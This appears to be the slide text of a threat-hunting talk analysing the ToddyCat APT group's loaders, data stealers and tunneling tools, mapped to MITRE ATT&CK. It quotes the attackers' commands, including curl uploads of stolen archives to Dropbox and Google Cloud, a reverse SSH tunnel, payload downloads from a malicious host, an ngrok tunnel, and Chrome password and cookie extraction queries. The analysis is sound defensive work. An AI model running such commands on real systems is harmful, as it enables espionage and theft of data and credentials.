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Episode 1 
“Account for an hour”

Threat Hunting
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GoogleUpdate
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Executes

googleupdate.exe User
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GoogleUpdate
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MITRE ATT&CK

Execution

Scheduled 
Task

Persistence

Create 
Account: Local 
Account

Scheduled 
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Privilege 
Escalation

Scheduled 
Task

GoogleUpdate:

Task
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Episode 2 
“Enemy identification”

Threat Hunting
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Threat Hunting

С2 server

Persistence via ServiceDLL

Trojan Loader
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Infection flow

svchost.exe 
(FontCacheSvc) 

Apibridge.dll

Loads

C:\ProgramData\Local\user.key

Decrypts and 
loads into 
memory

Launches Trojan

Ninja Trojan in 
memory

Connects to C2

cmd.exe
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Samurai Backdoor

Persistence via ServiceDLL

Decrypts from registry 
and loads
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Ninja Trojan

• Is loaded in memory by another component.
• Contains an encrypted embedded config

Parameter Description
1 2B847033-C95F-92E3-D847-

29C6AE934CDC
Mutex name used to guarantee atomic 
execution.

2 C2_INFO A structure that contains the information 
to communicate with the C2 servers.

3 /Collector/3.0/ URL path used with HTTP and HTTPS 
protocols.

4 Content-Type: application/x-www-
form-urlencoded

HTTP header used with HTTP and HTTPS 
protocols.

5 Host: mobile.pipe.microsoft.com:8080 HTTP header used with HTTP and HTTPS 
protocols.

6 Mozilla/5.0 (Windows NT 6.3; 
Trident/7.0; rv 11.0) like Gecko

User-Agent used with HTTP and HTTPS 
protocols.

… …
15 … …

Loader Ninja 
Trojan

Decrypts 
embedded config
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Config/C2 URL pattern

02

ToddyCat

Payload Decryption 
Method

03
Persistence Method

01 

Attacker Identification
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ToddyCat

Aliases
Websiic

Infection vector
ProxyLogon Exploitation
Spearphishing via Telegram

Known implants 
Ninja trojan and Samurai backdoor
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MITRE ATT&CK

Initial Access
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Scheduled 
Task
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Task

DLL Side-
Loading
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Escalation

Token 
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/Theft

Windows 
Service

Scheduled 
Task

DLL Side-
Loading

Process 
Hollowing

Valid 
Accounts: 
Domain 
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Defense 
Evasion

Token 
Impersonation
/Theft

Deobfuscate/
Decode Files 
or Information

DLL Side-
Loading

Process 
Hollowing
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Local System
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Process 
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Exfiltration

Exfiltration 
Over C2 
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ToddyCat
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Episode 3 
“Documents always go 
to the cloud”

Threat Hunting
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Suspicious archive files

acrord64.exe 
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Suspicious archive files

acrord64.exe DsNcDiag.dll

Loads

encrypted 
archive file

Creates

C:\Program Files\Windows Mail\AcroRd64.exe
C:\Program Files\Windows Mail\DsNcDiag.dll

C:\Program Files\Common Files\VLCMedia\VLCMediaUP.exe
C:\Program Files\Common Files\VLCMedia\DsNcDiag.dll

Original Filename: nclauncher.exe

Product Name: network connect launcher

Company Name: Pulse Secure, LLC
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LoFiSe

start



LoFiSe
Window class:

start ReadDirectoryChangesW

22



LoFiSe

• *.doc, *.docx, *.xls, *.xlsx, *.ppt, *.pptx, *.pdf, *.rtf, *.tif, *.odt, *.ods, *.odp, *.eml, *.msg
• Files larger than 6,400,000 bytes (~6 Mb)
• Files located in the ProgramData folder
• MD5 file is not in the database

CREATE TABLE file_exists_table (filesize int, filemd5 
varchar(33))

Gets Updates

File change eventstart ReadDirectoryChangesW
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LoFiSe

CREATE TABLE file_existspath_table (pathorder
varchar(10), path varchar(260))

Folder which file is copied to:

Gets Updates

File change event Interesting filesstart ReadDirectoryChangesW

Checks files
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LoFiSe

Gets Updates

File change event Interesting files Archive with interesting 
files

Copies &
archives files

start

fdir -> pdir -> pack

Execution flow log file:

Password:

ReadDirectoryChangesW

Checks files
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LoFiSe

Named event object in the global namespace:

Gets Updates

File change event Interesting files Archive with interesting 
files

Copies &
archives files

start ReadDirectoryChangesW

Checks files
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PcExter

googledrivefs.exe
VSPerfCmd

Vspmsg.dll

Loads

c:\windows\temp\ googledrivefs.exe
vspmsg.dll

c:\program files\windows mail\ securityhealthsystray64.exe
vspmsg.dll

c:\program files\common files\vlcmedia\ vlcmediastatus.exe
vspmsg.dll
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PcExter

GoogleDriveFS.exe -d C:\windows\temp\pack\ --rex *.z*

Сommand line parameters:

Waiting for event

start

Searches for files

Archive fileSystemLocalPcexter
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PcExter

Waiting for event

OneDrive

Sends files

start

Method: POST
URL: https://login.microsoftonline.com/common/oauth2/v2.0/token
client_id=<client_id>&scope=offline_access%20files.readwrite.all
refresh_token=<refresh_token>&redirect_uri=https://login.microsoftonline.com/commo
n/oauth2/nativeclient&grant_type=refresh_token

Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/100.0.4896.127 Safari/537.36

Searches for files

Archive fileSystemLocalPcexter
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MITRE ATT&CK

Collection

Data from 
Local System

Archive via 
Library

Automated 
Collection

Local Data 
Staging

Discovery

File and 
Directory 
Discovery

Defense 
Evasion

DLL Side-
Loading

Exfiltration

Exfiltration to 
Cloud Storage

• LoFiSe
• PcExter
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Episode 4 
“Temporary difficulties”

Threat Hunting
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Suspicious archives
csd.exe 

pro.ps1 
<HostName>_.rar



Filescan v1

C:\programdata\intel\csd.exe

C:\Users\hm_s\source\repos\filescan\x64\Release\filescan.pdb

Drops  & 
launches

pro.ps1start
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Filescan v1
powershell.exe -windowstyle hidden -exec bypass "c:\programdata\intel\pro.ps1" 3

Drops  & 
launches Searches for files

pro.ps1start Interesting files RAR Archive

Archives files
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Filescan v2

Searches for files

tp.bat Interesting files RAR Archive

Archives files

tp.bat
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Filescan v3
tc.bat

Searches for files

tp.bat Interesting files RAR Archive

Archives files
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Filescan v4

Searches for files

tp.bat Interesting files RAR Archive

Archives files

td.bat
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MITRE ATT&CK

Execution

Windows 
Command 
Shell

PowerShell

Scheduled 
Task

Persistence

Scheduled 
Task

Privilege 
Escalation

Scheduled 
Task

Collection

Data from 
Local System

Archive via 
Utility

Automated 
Collection

Local Data 
Staging

Discovery

File and 
Directory 
Discovery

Defense 
Evasion

File Deletion

Obfuscated 
Files or 
Information

Embedded 
Payloads

Command 
Obfuscation

Filescan:
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Episode 5 
“Operator tools”

Threat Hunting
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Suspicious process



Cuthead

fkw.exe <date> <extensions> [keywords]

start
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Cuthead

• $
• Windows
• Program Files
• Programdata
• Application Data
• Program Files (x86)
• Documents and Settings

Interesting files

Searches for files

start
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Cuthead

Interesting files

Searches for files

Archive with 
interesting files

Archives files

start
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WAExp

app.exe [check|copy|start] [remote] 

Check - checks the presence of data on the host;

Copy - copy the found data to the temporary folder;

Start - at first copies the found data to the temporary folder and then 
packs the collected data into an archive file;

Remote - the name of the remote host;

start
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WAExp

Interesting 
files

Checks

start
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WAExp

Interesting 
files

Checks

Archive with 
interesting files

Copies files

start

Archives files

Archive 
file
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DropBox API
curl -k -X POST https://content.dropboxapi.com/2/files/upload 

--header "Authorization: Bearer sl.<access token>" 

--header "Dropbox-API-Arg: {

\"autorename\":false,

\"mode\":\"add\",

\"mute\":false,

\"path\":\"/0504.zip\",

\"strict_conflict\":false

}" 

--header "Content-Type: application/octet-stream" 

--data-binary @"C:\Windows\Help\Security.zip" 

--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"

https://www.dropbox.com/developers/documentation/http/documentation#files-upload

Dropbox cloud

Sends files

curl
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Google Cloud API

curl.exe  -X POST --data-binary "@D:\\BackUPs\\0604.rar" 

-H "Authorization: Bearer <Bear>" 

-H "Content-Type: application/json" 

-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 

--ssl-no-revoke "https://storage.googleapis.com/upload/storage/v1/b/tamiyah_prod1/o?uploadType=media&name=0604.rar"

Dropbox cloud

Sends files

curl
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MITRE ATT&CK

Discovery

File and 
Directory 
Discovery

Exfiltration

Exfiltration to 
Cloud Storage

• Cuthead
• WAExp

Collection

Data from 
Local System

Archive via 
Library

Automated 
Collection

Local Data 
Staging

Execution

Windows 
Command 
Shell

Scheduled 
Task

Persistence

Scheduled 
Task

Privilege 
Escalation

Scheduled 
Task
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Episode 6 
“Closing the holes of the sly beast”

Threat Hunting



Reverse SSH Tunnel

c:\users\public\a.bat
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Reverse SSH Tunnel
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Reverse SSH Tunnel

"C:\programdata\ssh\ssh.exe" -i C:\Windows\AppReadiness\value.dat - o 
StrictHostKeyChecking=accept-new -R 31481:localhost:53 systemtest01@[remote_ip] - p 22222 -fN

localhost:53

:22222

:31481

systemtest01@[remote_ip]
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SoftEther VPN Server

Legitimate Software

vpnserver_x64.exe Hamcore.se2

Loads

config

Loads
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SoftEther VPN Server

vpnserver_x64.exe Hamcore.se2

Loads

config

Loads

spy 
infrastructure

Connects

curl hxxp://www.netportal.or[.]kr/common/css/main.js -o c:\windows\debug\wia\wia.exe
curl hxxp://www.netportal.or[.]kr/common/css/ham.js -o c:\windows\debug\wia\hamcore.se2

c:\windows\debug\wia\wia.exe /install
c:\windows\debug\wia\wia.exe /service

ha.bbmouseme[.]com -> 118[.]193.40.42

Legitimate Software
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Ngrok

"cmd" /c "cd C:\windows\temp\ & Intel.exe tcp --region=ap --remote-
addr=1.tcp.ap.ngrok.io:21146 54112 --authtoken <authtoken>"

SystemInformation.exe
AVG TuneUp LegacyToolsTask

Executes Krong
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Krong

"cmd" /c "cd C:\windows\temp\ & SystemInformation.exe 0.0.0.0 54112"

SystemInformation.exe
AVG TuneUp LegacyTools

tulngx.dll

Loads

Task

Executes Krong

Krong was executed via DLL Side-loading
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FRP - fast reverse proxy

https://github.com/fatedier/frp

c:\windows\debug\tck.exe -c c:\windows\debug\tc.ini
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MITRE ATT&CK

• Reverse SSH
• SoftEther VPN Server
• Ngrok & Krong
• FRP

Execution

Windows 
Command 
Shell

Scheduled 
Task

Persistence

DLL Side-
Loading

Scheduled 
Task

Privilege 
Escalation

DLL Side-
Loading

Scheduled 
Task

Defense 
Evasion

Deobfuscate/
Decode Files 
or Information

Windows File 
and Directory 
Permissions 
Modification

Masquerade 
File Type

DLL Side-
Loading

Command 
and Control

Application 
Layer Protocol

Ingress Tool 
Transfer

Standard 
Encoding

Encrypted 
Channel

Web Service

Protocol 
Tunneling

Proxy
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Episode 7 
“Attempt number two”

Threat Hunting
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Googleupdate again?



ProWoLoT

Bdreinit.exe log.dll

Loads

Bz.x64.exe ark.x64.dll

Loads

E:\proj_work\log2\log\Release\logtest.dll.pdb

c:\program files (x86)\google\update\googleupdate.exe
\ark.x64.dll
\winform.exe

c:\program files (x86)\google\update\googleupdate.exe
\log.dll
\winform.exe 

c:\program files\microsoft update health tools\uhssvc.exe 
\log.dll
\winform.exe 

c:\program files (x86)\common files\adobe\arm\1.0\armsvc.exe
\log.dll 
\winform.exe 
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ProWoLoT

1pt

Checks time

datefile.txtstart
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ProWoLoT

1pt

Checks time

datefile.txtstart winform.exe

Loads
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PcExter 2.0

1pt

65

start



PcExter 2.0

1pt

start
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- fileSize < 5 Gb

- creationTime > findDay (30 days)

- fileName != ^~\$ 

PcExter 2.0

Conducts

start
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PcExter 2.0

Conducts

start

Searches for files

Interesting 
files
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PcExter 2.0

Conducts

start

Searches for files

Interesting 
files

Archives files

Archive 
file

69



PcExter 2.0

Conducts

start

Searches for files

Interesting 
files

Archives files

Archive 
file
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PcExter 2.0

Conducts

start

Searches for files

Interesting 
files

Archives files

Archive 
file

https://learn.microsoft.com/en-us/entra/identity-platform/v2-
oauth2-client-creds-grant-flow#get-a-token

OneDrive

Sends files
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MITRE ATT&CK

• ProWoLot
• PcExter 2.0

Collection

Data from 
Local System

Archive via 
Utility

Automated 
Collection

Local Data 
Staging

Discovery

File and 
Directory 
Discovery

Defense 
Evasion

Obfuscated 
Files or 
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DLL Side-
Loading

Exfiltration

Exfiltration to 
Cloud Storage

Execution

Scheduled 
Task

Persistence

DLL Side-
Loading

Scheduled 
Task

Privilege 
Escalation

DLL Side-
Loading

Scheduled 
Task
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Episode 8 
“The beast changes tactics”

Threat Hunting



avpui
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avpui
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TomBerBil

Getting process owner:

Looks for explorer.exe process

start
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TomBerBil

Main execution flow

Impersonates

start explorer.exe
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TomBerBil

Collecting and decrypting MasterKeys:

Decrypts

MasterKey

Impersonates

start explorer.exe
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TomBerBil
• Searching for "Login Data" and "Network\Cookies"  in

"%LOCALAPPDATA%\Google\Chrome\User Data\Default"
"%LOCALAPPDATA%\Google\Chrome\User Data\Profile"

• Saving to SQLite db file

SELECT origin_url, username_value, password_value FROM logins
SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc
as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value
FROM cookies;

Copies files

Passwords & 
Cookies

Decrypts

MasterKey

Impersonates

start explorer.exe

Decrypts
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TomBerBil

Copies files

Passwords & 
Cookies

Decrypts

MasterKey

Impersonates

start explorer.exe

Decrypts

Log file:
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TomBerBil

https://github.com/QAX-A-Team/BrowserGhost

.NET C++Powershell

Browser Stealer
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MITRE ATT&CK
TomBerBil

Collection
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Discovery
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Execution

Service 
Execution
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Privilege 
Escalation

Token 
Impersonation
/Theft

Windows 
Service
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Conclusions

Victimology: Government agencies in Russia and South-East region

Goals: Espionage

Profile: sophisticated APT group

Tools: 
• Own loaders and trojans
• custom-build tools for collecting data
• usage of signed binaries
• 3rd party tunneling tools
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